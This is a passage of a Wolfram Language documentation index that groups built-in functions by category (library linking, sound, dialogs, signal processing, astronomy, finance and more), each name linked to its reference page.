[ConnectLibraryCallbackFunction](http://reference.wolfram.com/language/ref/ConnectLibraryCallbackFunction.html), [CreateManagedLibraryExpression](http://reference.wolfram.com/language/ref/CreateManagedLibraryExpression.html), [FindLibrary](http://reference.wolfram.com/language/ref/FindLibrary.html), [LibraryDataType](http://reference.wolfram.com/language/ref/LibraryDataType.html), [LibraryFunction](http://reference.wolfram.com/language/ref/LibraryFunction.html), [LibraryFunctionError](http://reference.wolfram.com/language/ref/LibraryFunctionError.html), [LibraryFunctionInformation](http://reference.wolfram.com/language/ref/LibraryFunctionInformation.html), [LibraryFunctionLoad](http://reference.wolfram.com/language/ref/LibraryFunctionLoad.html), [LibraryFunctionUnload](http://reference.wolfram.com/language/ref/LibraryFunctionUnload.html), [LibraryLoad](http://reference.wolfram.com/language/ref/LibraryLoad.html), [LibraryUnload](http://reference.wolfram.com/language/ref/LibraryUnload.html), [ManagedLibraryExpressionID](http://reference.wolfram.com/language/ref/ManagedLibraryExpressionID.html), [ManagedLibraryExpressionQ](http://reference.wolfram.com/language/ref/ManagedLibraryExpressionQ.html), [$LibraryPath](http://reference.wolfram.com/language/ref/%24LibraryPath.html)
### Sound (14)
[Beep](http://reference.wolfram.com/language/ref/Beep.html), [EmitSound](http://reference.wolfram.com/language/ref/EmitSound.html), [ListPlay](http://reference.wolfram.com/language/ref/ListPlay.html), [Play](http://reference.wolfram.com/language/ref/Play.html), [PlayRange](http://reference.wolfram.com/language/ref/PlayRange.html), [SampleDepth](http://reference.wolfram.com/language/ref/SampleDepth.html), [SampledSoundFunction](http://reference.wolfram.com/language/ref/SampledSoundFunction.html), [SampledSoundList](http://reference.wolfram.com/language/ref/SampledSoundList.html), [SampleRate](http://reference.wolfram.com/language/ref/SampleRate.html), [Sound](http://reference.wolfram.com/language/ref/Sound.html), [SoundNote](http://reference.wolfram.com/language/ref/SoundNote.html), [SoundVolume](http://reference.wolfram.com/language/ref/SoundVolume.html), [Speak](http://reference.wolfram.com/language/ref/Speak.html), [$SoundDisplayFunction](http://reference.wolfram.com/language/ref/%24SoundDisplayFunction.html)
### Dialog (13)
[AuthenticationDialog](http://reference.wolfram.com/language/ref/AuthenticationDialog.html), [ChoiceDialog](http://reference.wolfram.com/language/ref/ChoiceDialog.html), [CreateDialog](http://reference.wolfram.com/language/ref/CreateDialog.html), [Dialog](http://reference.wolfram.com/language/ref/Dialog.html), [DialogInput](http://reference.wolfram.com/language/ref/DialogInput.html), [DialogNotebook](http://reference.wolfram.com/language/ref/DialogNotebook.html), [DialogProlog](http://reference.wolfram.com/language/ref/DialogProlog.html), [DialogReturn](http://reference.wolfram.com/language/ref/DialogReturn.html), [DialogSymbols](http://reference.wolfram.com/language/ref/DialogSymbols.html), [MessageDialog](http://reference.wolfram.com/language/ref/MessageDialog.html), [Modal](http://reference.wolfram.com/language/ref/Modal.html), [SystemDialogInput](http://reference.wolfram.com/language/ref/SystemDialogInput.html), [TraceDialog](http://reference.wolfram.com/language/ref/TraceDialog.html)
### Environment (13)
[ClearSystemCache](http://reference.wolfram.com/language/ref/ClearSystemCache.html), [Exit](http://reference.wolfram.com/language/ref/Exit.html), [In](http://reference.wolfram.com/language/ref/In.html), [InString](http://reference.wolfram.com/language/ref/InString.html), [Quit](http://reference.wolfram.com/language/ref/Quit.html), [Update](http://reference.wolfram.com/language/ref/Update.html), [$HistoryLength](http://reference.wolfram.com/language/ref/%24HistoryLength.html), [$IterationLimit](http://reference.wolfram.com/language/ref/%24IterationLimit.html), [$Post](http://reference.wolfram.com/language/ref/%24Post.html), [$Pre](http://reference.wolfram.com/language/ref/%24Pre.html), [$PrePrint](http://reference.wolfram.com/language/ref/%24PrePrint.html), [$PreRead](http://reference.wolfram.com/language/ref/%24PreRead.html), [$RecursionLimit](http://reference.wolfram.com/language/ref/%24RecursionLimit.html)
### Signal Processing (13)
[BandpassFilter](http://reference.wolfram.com/language/ref/BandpassFilter.html), [BandstopFilter](http://reference.wolfram.com/language/ref/BandstopFilter.html), [BesselFilterModel](http://reference.wolfram.com/language/ref/BesselFilterModel.html), [BiquadraticFilterModel](http://reference.wolfram.com/language/ref/BiquadraticFilterModel.html), [ButterworthFilterModel](http://reference.wolfram.com/language/ref/ButterworthFilterModel.html), [Chebyshev1FilterModel](http://reference.wolfram.com/language/ref/Chebyshev1FilterModel.html), [Chebyshev2FilterModel](http://reference.wolfram.com/language/ref/Chebyshev2FilterModel.html), [EllipticFilterModel](http://reference.wolfram.com/language/ref/EllipticFilterModel.html), [EquirippleFilterKernel](http://reference.wolfram.com/language/ref/EquirippleFilterKernel.html), [FrequencySamplingFilterKernel](http://reference.wolfram.com/language/ref/FrequencySamplingFilterKernel.html), [KalmanFilter](http://reference.wolfram.com/language/ref/KalmanFilter.html), [LeastSquaresFilterKernel](http://reference.wolfram.com/language/ref/LeastSquaresFilterKernel.html), [ResamplingAlgorithmData](http://reference.wolfram.com/language/ref/ResamplingAlgorithmData.html)
### Astronomy (12)
[AltitudeMethod](http://reference.wolfram.com/language/ref/AltitudeMethod.html), [CelestialSystem](http://reference.wolfram.com/language/ref/CelestialSystem.html), [EclipseType](http://reference.wolfram.com/language/ref/EclipseType.html), [LunarEclipse](http://reference.wolfram.com/language/ref/LunarEclipse.html), [MoonPhase](http://reference.wolfram.com/language/ref/MoonPhase.html), [MoonPosition](http://reference.wolfram.com/language/ref/MoonPosition.html), [SiderealTime](http://reference.wolfram.com/language/ref/SiderealTime.html), [SolarEclipse](http://reference.wolfram.com/language/ref/SolarEclipse.html), [SunPosition](http://reference.wolfram.com/language/ref/SunPosition.html), [Sunrise](http://reference.wolfram.com/language/ref/Sunrise.html), [Sunset](http://reference.wolfram.com/language/ref/Sunset.html), [TimeDirection](http://reference.wolfram.com/language/ref/TimeDirection.html)
### Geo Graphics Primitive (12)
[DayHemisphere](http://reference.wolfram.com/language/ref/DayHemisphere.html), [DayNightTerminator](http://reference.wolfram.com/language/ref/DayNightTerminator.html), [GeoBoundsRegion](http://reference.wolfram.com/language/ref/GeoBoundsRegion.html), [GeoCircle](http://reference.wolfram.com/language/ref/GeoCircle.html), [GeoDisk](http://reference.wolfram.com/language/ref/GeoDisk.html), [GeoHemisphere](http://reference.wolfram.com/language/ref/GeoHemisphere.html), [GeoHemisphereBoundary](http://reference.wolfram.com/language/ref/GeoHemisphereBoundary.html), [GeoMarker](http://reference.wolfram.com/language/ref/GeoMarker.html), [GeoPath](http://reference.wolfram.com/language/ref/GeoPath.html), [GeoVisibleRegion](http://reference.wolfram.com/language/ref/GeoVisibleRegion.html), [GeoVisibleRegionBoundary](http://reference.wolfram.com/language/ref/GeoVisibleRegionBoundary.html), [NightHemisphere](http://reference.wolfram.com/language/ref/NightHemisphere.html)
### Root (12)
[Cubics](http://reference.wolfram.com/language/ref/Cubics.html), [FindRoot](http://reference.wolfram.com/language/ref/FindRoot.html), [Modulus](http://reference.wolfram.com/language/ref/Modulus.html), [NRoots](http://reference.wolfram.com/language/ref/NRoots.html), [Quartics](http://reference.wolfram.com/language/ref/Quartics.html), [Root](http://reference.wolfram.com/language/ref/Root.html), [RootOfUnityQ](http://reference.wolfram.com/language/ref/RootOfUnityQ.html), [RootReduce](http://reference.wolfram.com/language/ref/RootReduce.html), [Roots](http://reference.wolfram.com/language/ref/Roots.html), [RootSum](http://reference.wolfram.com/language/ref/RootSum.html), [ToRadicals](http://reference.wolfram.com/language/ref/ToRadicals.html), [$MaxRootDegree](http://reference.wolfram.com/language/ref/%24MaxRootDegree.html)
### Symbol Assignment (12)
[AddTo](http://reference.wolfram.com/language/ref/AddTo.html), [AppendTo](http://reference.wolfram.com/language/ref/AppendTo.html), [Decrement](http://reference.wolfram.com/language/ref/Decrement.html), [DivideBy](http://reference.wolfram.com/language/ref/DivideBy.html), [Increment](http://reference.wolfram.com/language/ref/Increment.html), [PreDecrement](http://reference.wolfram.com/language/ref/PreDecrement.html), [PreIncrement](http://reference.wolfram.com/language/ref/PreIncrement.html), [PrependTo](http://reference.wolfram.com/language/ref/PrependTo.html), [Protect](http://reference.wolfram.com/language/ref/Protect.html), [SubtractFrom](http://reference.wolfram.com/language/ref/SubtractFrom.html), [TimesBy](http://reference.wolfram.com/language/ref/TimesBy.html), [Unprotect](http://reference.wolfram.com/language/ref/Unprotect.html)
### Algebraic (11)
[AlgebraicIntegerQ](http://reference.wolfram.com/language/ref/AlgebraicIntegerQ.html), [AlgebraicNumber](http://reference.wolfram.com/language/ref/AlgebraicNumber.html), [AlgebraicNumberDenominator](http://reference.wolfram.com/language/ref/AlgebraicNumberDenominator.html), [AlgebraicNumberNorm](http://reference.wolfram.com/language/ref/AlgebraicNumberNorm.html), [AlgebraicNumberPolynomial](http://reference.wolfram.com/language/ref/AlgebraicNumberPolynomial.html), [AlgebraicNumberTrace](http://reference.wolfram.com/language/ref/AlgebraicNumberTrace.html), [Algebraics](http://reference.wolfram.com/language/ref/Algebraics.html), [AlgebraicUnitQ](http://reference.wolfram.com/language/ref/AlgebraicUnitQ.html), [IsolatingInterval](http://reference.wolfram.com/language/ref/IsolatingInterval.html), [MinimalPolynomial](http://reference.wolfram.com/language/ref/MinimalPolynomial.html), [RootApproximant](http://reference.wolfram.com/language/ref/RootApproximant.html)
### Alignment (11)
[Above](http://reference.wolfram.com/language/ref/Above.html), [Alignment](http://reference.wolfram.com/language/ref/Alignment.html), [AlignmentPoint](http://reference.wolfram.com/language/ref/AlignmentPoint.html), [Baseline](http://reference.wolfram.com/language/ref/Baseline.html), [BaselinePosition](http://reference.wolfram.com/language/ref/BaselinePosition.html), [Below](http://reference.wolfram.com/language/ref/Below.html), [Bottom](http://reference.wolfram.com/language/ref/Bottom.html), [Center](http://reference.wolfram.com/language/ref/Center.html), [Left](http://reference.wolfram.com/language/ref/Left.html), [Right](http://reference.wolfram.com/language/ref/Right.html), [Top](http://reference.wolfram.com/language/ref/Top.html)
### Asymptotic (11)
[AsymptoticDSolveValue](http://reference.wolfram.com/language/ref/AsymptoticDSolveValue.html), [AsymptoticEqual](http://reference.wolfram.com/language/ref/AsymptoticEqual.html), [AsymptoticEquivalent](http://reference.wolfram.com/language/ref/AsymptoticEquivalent.html), [AsymptoticGreater](http://reference.wolfram.com/language/ref/AsymptoticGreater.html), [AsymptoticGreaterEqual](http://reference.wolfram.com/language/ref/AsymptoticGreaterEqual.html), [AsymptoticIntegrate](http://reference.wolfram.com/language/ref/AsymptoticIntegrate.html), [AsymptoticLess](http://reference.wolfram.com/language/ref/AsymptoticLess.html), [AsymptoticLessEqual](http://reference.wolfram.com/language/ref/AsymptoticLessEqual.html), [AsymptoticRSolveValue](http://reference.wolfram.com/language/ref/AsymptoticRSolveValue.html), [AsymptoticSolve](http://reference.wolfram.com/language/ref/AsymptoticSolve.html), [AsymptoticSum](http://reference.wolfram.com/language/ref/AsymptoticSum.html)
### Button (11)
[Button](http://reference.wolfram.com/language/ref/Button.html), [ButtonBar](http://reference.wolfram.com/language/ref/ButtonBar.html), [ButtonData](http://reference.wolfram.com/language/ref/ButtonData.html), [ButtonFunction](http://reference.wolfram.com/language/ref/ButtonFunction.html), [ButtonMinHeight](http://reference.wolfram.com/language/ref/ButtonMinHeight.html), [ButtonNotebook](http://reference.wolfram.com/language/ref/ButtonNotebook.html), [ButtonSource](http://reference.wolfram.com/language/ref/ButtonSource.html), [CancelButton](http://reference.wolfram.com/language/ref/CancelButton.html), [ChoiceButtons](http://reference.wolfram.com/language/ref/ChoiceButtons.html), [DefaultButton](http://reference.wolfram.com/language/ref/DefaultButton.html), [PasteButton](http://reference.wolfram.com/language/ref/PasteButton.html)
### Code Interruption (11)
[Abort](http://reference.wolfram.com/language/ref/Abort.html), [AbortProtect](http://reference.wolfram.com/language/ref/AbortProtect.html), [Catch](http://reference.wolfram.com/language/ref/Catch.html), [CheckAbort](http://reference.wolfram.com/language/ref/CheckAbort.html), [Failure](http://reference.wolfram.com/language/ref/Failure.html), [FailureQ](http://reference.wolfram.com/language/ref/FailureQ.html), [Interrupt](http://reference.wolfram.com/language/ref/Interrupt.html), [Success](http://reference.wolfram.com/language/ref/Success.html), [Throw](http://reference.wolfram.com/language/ref/Throw.html), [$Aborted](http://reference.wolfram.com/language/ref/%24Aborted.html), [$Failed](http://reference.wolfram.com/language/ref/%24Failed.html)
### Discrete Calculus (11)
[DifferenceDelta](http://reference.wolfram.com/language/ref/DifferenceDelta.html), [DiscreteLimit](http://reference.wolfram.com/language/ref/DiscreteLimit.html), [DiscreteMaxLimit](http://reference.wolfram.com/language/ref/DiscreteMaxLimit.html), [DiscreteMinLimit](http://reference.wolfram.com/language/ref/DiscreteMinLimit.html), [NProduct](http://reference.wolfram.com/language/ref/NProduct.html), [NSum](http://reference.wolfram.com/language/ref/NSum.html), [Product](http://reference.wolfram.com/language/ref/Product.html), [Regularization](http://reference.wolfram.com/language/ref/Regularization.html), [Sum](http://reference.wolfram.com/language/ref/Sum.html), [SumConvergence](http://reference.wolfram.com/language/ref/SumConvergence.html), [VerifyConvergence](http://reference.wolfram.com/language/ref/VerifyConvergence.html)
### Finance (11)
[Annuity](http://reference.wolfram.com/language/ref/Annuity.html), [AnnuityDue](http://reference.wolfram.com/language/ref/AnnuityDue.html), [Cashflow](http://reference.wolfram.com/language/ref/Cashflow.html), [CurrencyConvert](http://reference.wolfram.com/language/ref/CurrencyConvert.html), [EffectiveInterest](http://reference.wolfram.com/language/ref/EffectiveInterest.html), [FinancialBond](http://reference.wolfram.com/language/ref/FinancialBond.html), [FinancialDerivative](http://reference.wolfram.com/language/ref/FinancialDerivative.html), [FinancialIndicator](http://reference.wolfram.com/language/ref/FinancialIndicator.html), [InflationAdjust](http://reference.wolfram.com/language/ref/InflationAdjust.html), [InflationMethod](http://reference.wolfram.com/language/ref/InflationMethod.html), [TimeValue](http://reference.wolfram.com/language/ref/TimeValue.html)
### Geometric Scene (11)
[AngleBisector](http://reference.wolfram.com/language/ref/AngleBisector.html), [CircleThrough](http://reference.wolfram.com/language/ref/CircleThrough.html), [FindGeometricConjectures](http://reference.wolfram.com/language/ref/FindGeometricConjectures.html), [GeometricAssertion](http://reference.wolfram.com/language/ref/GeometricAssertion.html), [Midpoint](http://reference.wolfram.com/language/ref/Midpoint.html), [PerpendicularBisector](http://reference.wolfram.com/language/ref/PerpendicularBisector.html), [RandomInstance](http://reference.wolfram.com/language/ref/RandomInstance.html), [TriangleCenter](http://reference.wolfram.com/language/ref/TriangleCenter.html), [TriangleConstruct](http://reference.wolfram.com/language/ref/TriangleConstruct.html), [TriangleMeasurement](http://reference.wolfram.com/language/ref/TriangleMeasurement.html), [UnconstrainedParameters](http://reference.wolfram.com/language/ref/UnconstrainedParameters.html)
### Pattern (11)
[Alternatives](http://reference.wolfram.com/language/ref/Alternatives.html), [Except](http://reference.wolfram.com/language/ref/Except.html), [Longest](http://reference.wolfram.com/language/ref/Longest.html), [Optional](http://reference.wolfram.com/language/ref/Optional.html), [OptionsPattern](http://reference.wolfram.com/language/ref/OptionsPattern.html), [OrderlessPatternSequence](http://reference.wolfram.com/language/ref/OrderlessPatternSequence.html), [PatternSequence](http://reference.wolfram.com/language/ref/PatternSequence.html), [PatternTest](http://reference.wolfram.com/language/ref/PatternTest.html), [Repeated](http://reference.wolfram.com/language/ref/Repeated.html), [RepeatedNull](http://reference.wolfram.com/language/ref/RepeatedNull.html), [Shortest](http://reference.wolfram.com/language/ref/Shortest.html)
### Resource (11)
[DefineResourceFunction](http://reference.wolfram.com/language/ref/DefineResourceFunction.html), [PublisherID](http://reference.wolfram.com/language/ref/PublisherID.html), [ResourceData](http://reference.wolfram.com/language/ref/ResourceData.html), [ResourceFunction](http://reference.wolfram.com/language/ref/ResourceFunction.html), [ResourceObject](http://reference.wolfram.com/language/ref/ResourceObject.html), [ResourceRegister](http://reference.wolfram.com/language/ref/ResourceRegister.html), [ResourceRemove](http://reference.wolfram.com/language/ref/ResourceRemove.html), [ResourceSearch](http://reference.wolfram.com/language/ref/ResourceSearch.html), [ResourceSubmit](http://reference.wolfram.com/language/ref/ResourceSubmit.html), [ResourceUpdate](http://reference.wolfram.com/language/ref/ResourceUpdate.html), [$PublisherID](http://reference.wolfram.com/language/ref/%24PublisherID.html)
### Service (11)
[EmbeddedService](http://reference.wolfram.com/language/ref/EmbeddedService.html), [SaveConnection](http://reference.wolfram.com/language/ref/SaveConnection.html), [ServiceConnect](http://reference.wolfram.com/language/ref/ServiceConnect.html), [ServiceDisconnect](http://reference.wolfram.com/language/ref/ServiceDisconnect.html), [ServiceExecute](http://reference.wolfram.com/language/ref/ServiceExecute.html), [ServiceObject](http://reference.wolfram.com/language/ref/ServiceObject.html), [ServiceRequest](http://reference.wolfram.com/language/ref/ServiceRequest.html), [ServiceSubmit](http://reference.wolfram.com/language/ref/ServiceSubmit.html), [$EmbeddableServices](http://reference.wolfram.com/language/ref/%24EmbeddableServices.html), [$ServiceCreditsAvailable](http://reference.wolfram.com/language/ref/%24ServiceCreditsAvailable.html), [$Services](http://reference.wolfram.com/language/ref/%24Services.html)
### Annotation (10)
[Annotation](http://reference.wolfram.com/language/ref/Annotation.html), [AnnotationDelete](http://reference.wolfram.com/language/ref/AnnotationDelete.html), [AnnotationRules](http://reference.wolfram.com/language/ref/AnnotationRules.html), [DefaultTooltipStyle](http://reference.wolfram.com/language/ref/DefaultTooltipStyle.html), [Monitor](http://reference.wolfram.com/language/ref/Monitor.html), [ProgressIndicator](http://reference.wolfram.com/language/ref/ProgressIndicator.html), [StatusArea](http://reference.wolfram.com/language/ref/StatusArea.html), [Tooltip](http://reference.wolfram.com/language/ref/Tooltip.html), [TooltipDelay](http://reference.wolfram.com/language/ref/TooltipDelay.html), [TooltipStyle](http://reference.wolfram.com/language/ref/TooltipStyle.html)
### Bit (10)
[BitAnd](http://reference.wolfram.com/language/ref/BitAnd.html), [BitClear](http://reference.wolfram.com/language/ref/BitClear.html), [BitGet](http://reference.wolfram.com/language/ref/BitGet.html), [BitLength](http://reference.wolfram.com/language/ref/BitLength.html), [BitNot](http://reference.wolfram.com/language/ref/BitNot.html), [BitOr](http://reference.wolfram.com/language/ref/BitOr.html), [BitSet](http://reference.wolfram.com/language/ref/BitSet.html), [BitShiftLeft](http://reference.wolfram.com/language/ref/BitShiftLeft.html), [BitShiftRight](http://reference.wolfram.com/language/ref/BitShiftRight.html), [BitXor](http://reference.wolfram.com/language/ref/BitXor.html)
### Code Evaluation (10)
[Activate](http://reference.wolfram.com/language/ref/Activate.html), [Defer](http://reference.wolfram.com/language/ref/Defer.html), [EvaluationData](http://reference.wolfram.com/language/ref/EvaluationData.html), [HoldAllComplete](http://reference.wolfram.com/language/ref/HoldAllComplete.html), [HoldComplete](http://reference.wolfram.com/language/ref/HoldComplete.html), [IgnoringInactive](http://reference.wolfram.com/language/ref/IgnoringInactive.html), [Inactivate](http://reference.wolfram.com/language/ref/Inactivate.html), [Inactive](http://reference.wolfram.com/language/ref/Inactive.html), [ReleaseHold](http://reference.wolfram.com/language/ref/ReleaseHold.html), [Unevaluated](http://reference.wolfram.com/language/ref/Unevaluated.html)
### External Session (10)
[ExternalEvaluate](http://reference.wolfram.com/language/ref/ExternalEvaluate.html), [ExternalFunction](http://reference.wolfram.com/language/ref/ExternalFunction.html), [ExternalObject](http://reference.wolfram.com/language/ref/ExternalObject.html), [ExternalSessionObject](http://reference.wolfram.com/language/ref/ExternalSessionObject.html), [ExternalSessions](http://reference.wolfram.com/language/ref/ExternalSessions.html), [ExternalValue](http://reference.wolfram.com/language/ref/ExternalValue.html), [FindExternalEvaluators](http://reference.wolfram.com/language/ref/FindExternalEvaluators.html), [RegisterExternalEvaluator](http://reference.wolfram.com/language/ref/RegisterExternalEvaluator.html), [StartExternalSession](http://reference.wolfram.com/language/ref/StartExternalSession.html), [UnregisterExternalEvaluator](http://reference.wolfram.com/language/ref/UnregisterExternalEvaluator.html)
### Initialization (10)
[EvaluationEnvironment](http://reference.wolfram.com/language/ref/EvaluationEnvironment.html), [InitializationObjects](http://reference.wolfram.com/language/ref/InitializationObjects.html), [InitializationValue](http://reference.wolfram.com/language/ref/InitializationValue.html), [Initialize](http://reference.wolfram.com/language/ref/Initialize.html), [LocalSubmit](http://reference.wolfram.com/language/ref/LocalSubmit.html), [ValuePreprocessingFunction](http://reference.wolfram.com/language/ref/ValuePreprocessingFunction.html), [$Initialization](http://reference.wolfram.com/language/ref/%24Initialization.html), [$InitializationContexts](http://reference.wolfram.com/language/ref/%24InitializationContexts.html), [$NoValue](http://reference.wolfram.com/language/ref/%24NoValue.html), [$PreInitialization](http://reference.wolfram.com/language/ref/%24PreInitialization.html)
### Legend (10)
[BarLegend](http://reference.wolfram.com/language/ref/BarLegend.html), [LegendFunction](http://reference.wolfram.com/language/ref/LegendFunction.html), [LegendLabel](http://reference.wolfram.com/language/ref/LegendLabel.html), [LegendLayout](http://reference.wolfram.com/language/ref/LegendLayout.html), [LegendMargins](http://reference.wolfram.com/language/ref/LegendMargins.html), [LegendMarkers](http://reference.wolfram.com/language/ref/LegendMarkers.html), [LegendMarkerSize](http://reference.wolfram.com/language/ref/LegendMarkerSize.html), [LineLegend](http://reference.wolfram.com/language/ref/LineLegend.html), [PointLegend](http://reference.wolfram.com/language/ref/PointLegend.html), [SwatchLegend](http://reference.wolfram.com/language/ref/SwatchLegend.html)
### Number Field (10)
[Extension](http://reference.wolfram.com/language/ref/Extension.html), [NumberFieldClassNumber](http://reference.wolfram.com/language/ref/NumberFieldClassNumber.html), [NumberFieldDiscriminant](http://reference.wolfram.com/language/ref/NumberFieldDiscriminant.html), [NumberFieldFundamentalUnits](http://reference.wolfram.com/language/ref/NumberFieldFundamentalUnits.html), [NumberFieldIntegralBasis](http://reference.wolfram.com/language/ref/NumberFieldIntegralBasis.html), [NumberFieldNormRepresentatives](http://reference.wolfram.com/language/ref/NumberFieldNormRepresentatives.html), [NumberFieldRegulator](http://reference.wolfram.com/language/ref/NumberFieldRegulator.html), [NumberFieldRootsOfUnity](http://reference.wolfram.com/language/ref/NumberFieldRootsOfUnity.html), [NumberFieldSignature](http://reference.wolfram.com/language/ref/NumberFieldSignature.html), [ToNumberField](http://reference.wolfram.com/language/ref/ToNumberField.html)
### Optimization (10)
[ConicOptimization](http://reference.wolfram.com/language/ref/ConicOptimization.html), [LinearFractionalOptimization](http://reference.wolfram.com/language/ref/LinearFractionalOptimization.html), [LinearOptimization](http://reference.wolfram.com/language/ref/LinearOptimization.html), [QuadraticOptimization](http://reference.wolfram.com/language/ref/QuadraticOptimization.html), [SecondOrderConeOptimization](http://reference.wolfram.com/language/ref/SecondOrderConeOptimization.html), [SemidefiniteOptimization](http://reference.wolfram.com/language/ref/SemidefiniteOptimization.html), [VectorGreater](http://reference.wolfram.com/language/ref/VectorGreater.html), [VectorGreaterEqual](http://reference.wolfram.com/language/ref/VectorGreaterEqual.html), [VectorLess](http://reference.wolfram.com/language/ref/VectorLess.html), [VectorLessEqual](http://reference.wolfram.com/language/ref/VectorLessEqual.html)
### Task (10)
[SessionSubmit](http://reference.wolfram.com/language/ref/SessionSubmit.html), [TaskAbort](http://reference.wolfram.com/language/ref/TaskAbort.html), [TaskExecute](http://reference.wolfram.com/language/ref/TaskExecute.html), [TaskObject](http://reference.wolfram.com/language/ref/TaskObject.html), [TaskRemove](http://reference.wolfram.com/language/ref/TaskRemove.html), [TaskResume](http://reference.wolfram.com/language/ref/TaskResume.html), [Tasks](http://reference.wolfram.com/language/ref/Tasks.html), [TaskSuspend](http://reference.wolfram.com/language/ref/TaskSuspend.html), [TaskWait](http://reference.wolfram.com/language/ref/TaskWait.html), [$CurrentTask](http://reference.wolfram.com/language/ref/%24CurrentTask.html)
### Ask (9)
[Ask](http://reference.wolfram.com/language/ref/Ask.html), [AskAppend](http://reference.wolfram.com/language/ref/AskAppend.html), [AskConfirm](http://reference.wolfram.com/language/ref/AskConfirm.html), [AskDisplay](http://reference.wolfram.com/language/ref/AskDisplay.html), [AskedQ](http://reference.wolfram.com/language/ref/AskedQ.html), [AskedValue](http://reference.wolfram.com/language/ref/AskedValue.html), [AskFunction](http://reference.wolfram.com/language/ref/AskFunction.html), [AskState](http://reference.wolfram.com/language/ref/AskState.html), [AskTemplateDisplay](http://reference.wolfram.com/language/ref/AskTemplateDisplay.html)
### Code Flow (9)
[Break](http://reference.wolfram.com/language/ref/Break.html), [Continue](http://reference.wolfram.com/language/ref/Continue.html), [Goto](http://reference.wolfram.com/language/ref/Goto.html), [Label](http://reference.wolfram.com/language/ref/Label.html), [LengthWhile](http://reference.wolfram.com/language/ref/LengthWhile.html), [Once](http://reference.wolfram.com/language/ref/Once.html), [Reap](http://reference.wolfram.com/language/ref/Reap.html), [Scan](http://reference.wolfram.com/language/ref/Scan.html), [Sow](http://reference.wolfram.com/language/ref/Sow.html)
### Expression Testing (9)
[Between](http://reference.wolfram.com/language/ref/Between.html), [DuplicateFreeQ](http://reference.wolfram.com/language/ref/DuplicateFreeQ.html), [EqualTo](http://reference.wolfram.com/language/ref/EqualTo.html), [GreaterEqualThan](http://reference.wolfram.com/language/ref/GreaterEqualThan.html), [GreaterThan](http://reference.wolfram.com/language/ref/GreaterThan.html), [LessEqualThan](http://reference.wolfram.com/language/ref/LessEqualThan.html), [LessThan](http://reference.wolfram.com/language/ref/LessThan.html), [Unequal](http://reference.wolfram.com/language/ref/Unequal.html), [UnequalTo](http://reference.wolfram.com/language/ref/UnequalTo.html)
### Font (9)
[FontColor](http://reference.wolfram.com/language/ref/FontColor.html), [FontFamily](http://reference.wolfram.com/language/ref/FontFamily.html), [FontSize](http://reference.wolfram.com/language/ref/FontSize.html), [FontSlant](http://reference.wolfram.com/language/ref/FontSlant.html), [FontSubstitutions](http://reference.wolfram.com/language/ref/FontSubstitutions.html), [FontTracking](http://reference.wolfram.com/language/ref/FontTracking.html), [FontVariations](http://reference.wolfram.com/language/ref/FontVariations.html), [FontWeight](http://reference.wolfram.com/language/ref/FontWeight.html), [$FontFamilies](http://reference.wolfram.com/language/ref/%24FontFamilies.html)
### Fractal (9)
[CantorStaircase](http://reference.wolfram.com/language/ref/CantorStaircase.html), [EscapeRadius](http://reference.wolfram.com/language/ref/EscapeRadius.html), [JuliaSetBoettcher](http://reference.wolfram.com/language/ref/JuliaSetBoettcher.html), [JuliaSetIterationCount](http://reference.wolfram.com/language/ref/JuliaSetIterationCount.html), [JuliaSetPoints](http://reference.wolfram.com/language/ref/JuliaSetPoints.html), [MandelbrotSetBoettcher](http://reference.wolfram.com/language/ref/MandelbrotSetBoettcher.html), [MandelbrotSetDistance](http://reference.wolfram.com/language/ref/MandelbrotSetDistance.html), [MandelbrotSetIterationCount](http://reference.wolfram.com/language/ref/MandelbrotSetIterationCount.html), [MandelbrotSetMemberQ](http://reference.wolfram.com/language/ref/MandelbrotSetMemberQ.html)
### Grammar (9)
[AllowLooseGrammar](http://reference.wolfram.com/language/ref/AllowLooseGrammar.html), [AnyOrder](http://reference.wolfram.com/language/ref/AnyOrder.html), [FixedOrder](http://reference.wolfram.com/language/ref/FixedOrder.html), [GrammarApply](http://reference.wolfram.com/language/ref/GrammarApply.html), [GrammarRules](http://reference.wolfram.com/language/ref/GrammarRules.html), [GrammarToken](http://reference.wolfram.com/language/ref/GrammarToken.html), [IgnoreDiacritics](http://reference.wolfram.com/language/ref/IgnoreDiacritics.html), [NoWhitespace](http://reference.wolfram.com/language/ref/NoWhitespace.html), [OptionalElement](http://reference.wolfram.com/language/ref/OptionalElement.html)
### Persistent Object (9)
[ExpirationDate](http://reference.wolfram.com/language/ref/ExpirationDate.html), [MergingFunction](http://reference.wolfram.com/language/ref/MergingFunction.html), [PersistenceLocation](http://reference.wolfram.com/language/ref/PersistenceLocation.html), [PersistenceTime](http://reference.wolfram.com/language/ref/PersistenceTime.html), [PersistentObject](http://reference.wolfram.com/language/ref/PersistentObject.html), [PersistentObjects](http://reference.wolfram.com/language/ref/PersistentObjects.html), [PersistentValue](http://reference.wolfram.com/language/ref/PersistentValue.html), [$PersistenceBase](http://reference.wolfram.com/language/ref/%24PersistenceBase.html), [$PersistencePath](http://reference.wolfram.com/language/ref/%24PersistencePath.html)
### Dataset (8)
[Dataset](http://reference.wolfram.com/language/ref/Dataset.html), [DeleteMissing](http://reference.wolfram.com/language/ref/DeleteMissing.html), [FailureAction](http://reference.wolfram.com/language/ref/FailureAction.html), [Missing](http://reference.wolfram.com/language/ref/Missing.html), [MissingBehavior](http://reference.wolfram.com/language/ref/MissingBehavior.html), [MissingQ](http://reference.wolfram.com/language/ref/MissingQ.html), [PartBehavior](http://reference.wolfram.com/language/ref/PartBehavior.html), [Query](http://reference.wolfram.com/language/ref/Query.html)
### Expression Size (8)
[ByteCount](http://reference.wolfram.com/language/ref/ByteCount.html), [Count](http://reference.wolfram.com/language/ref/Count.html), [CountDistinct](http://reference.wolfram.com/language/ref/CountDistinct.html), [CountDistinctBy](http://reference.wolfram.com/language/ref/CountDistinctBy.html), [Counts](http://reference.wolfram.com/language/ref/Counts.html), [CountsBy](http://reference.wolfram.com/language/ref/CountsBy.html), [Entropy](http://reference.wolfram.com/language/ref/Entropy.html), [LeafCount](http://reference.wolfram.com/language/ref/LeafCount.html)
### Formatting (8)
[DisableFormatting](http://reference.wolfram.com/language/ref/DisableFormatting.html), [Framed](http://reference.wolfram.com/language/ref/Framed.html), [Labeled](http://reference.wolfram.com/language/ref/Labeled.html), [Legended](http://reference.wolfram.com/language/ref/Legended.html), [Multicolumn](http://reference.wolfram.com/language/ref/Multicolumn.html), [Pane](http://reference.wolfram.com/language/ref/Pane.html), [Panel](http://reference.wolfram.com/language/ref/Panel.html), [TextGrid](http://reference.wolfram.com/language/ref/TextGrid.html)
### Graph Distribution (8)
